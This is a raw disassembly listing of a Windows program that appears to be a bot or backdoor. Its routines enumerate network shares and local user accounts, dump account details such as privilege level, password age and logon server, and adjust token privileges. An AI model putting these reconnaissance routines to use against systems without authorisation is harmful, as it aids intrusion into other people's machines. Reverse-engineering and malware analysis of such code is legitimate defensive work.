		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CAE70
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CAEE8
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_4390C8
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------


loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4CAE8C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"


loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi


loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4CB034


loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax


loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C


loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DAE20
		push	off_4389D4[eax*4]
		push	offset unk_439180
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DAE20
		push	off_4389D0[eax*4]
		push	offset unk_439150
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DAE20
		lea	eax, [eax+eax*2]
		push	off_4389D0[eax*4]
		push	offset unk_439128
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CAE7C
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CAE6C
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CAFFC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------


loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4391A0
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h


loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4CB034


loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CAF04
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439390
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA


loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_43935C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4CB034
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4CB034


loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567


loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4DABC0
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DABC0
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26B0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CAFB4
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4DA9BC
		push	offset unk_4396C4
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------


loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4DA9BC
		push	eax
		push	offset dword_439698
		push	esi
		call	sub_41B886
		add	esp, 14h


loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 27005C8h
		nop
		push	eax
		call	dword_4CAF88
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------


loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CAF60
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------


loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CB010
		mov	esi, eax


loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		call	near ptr 265098Ch
		nop
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CAFC4, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
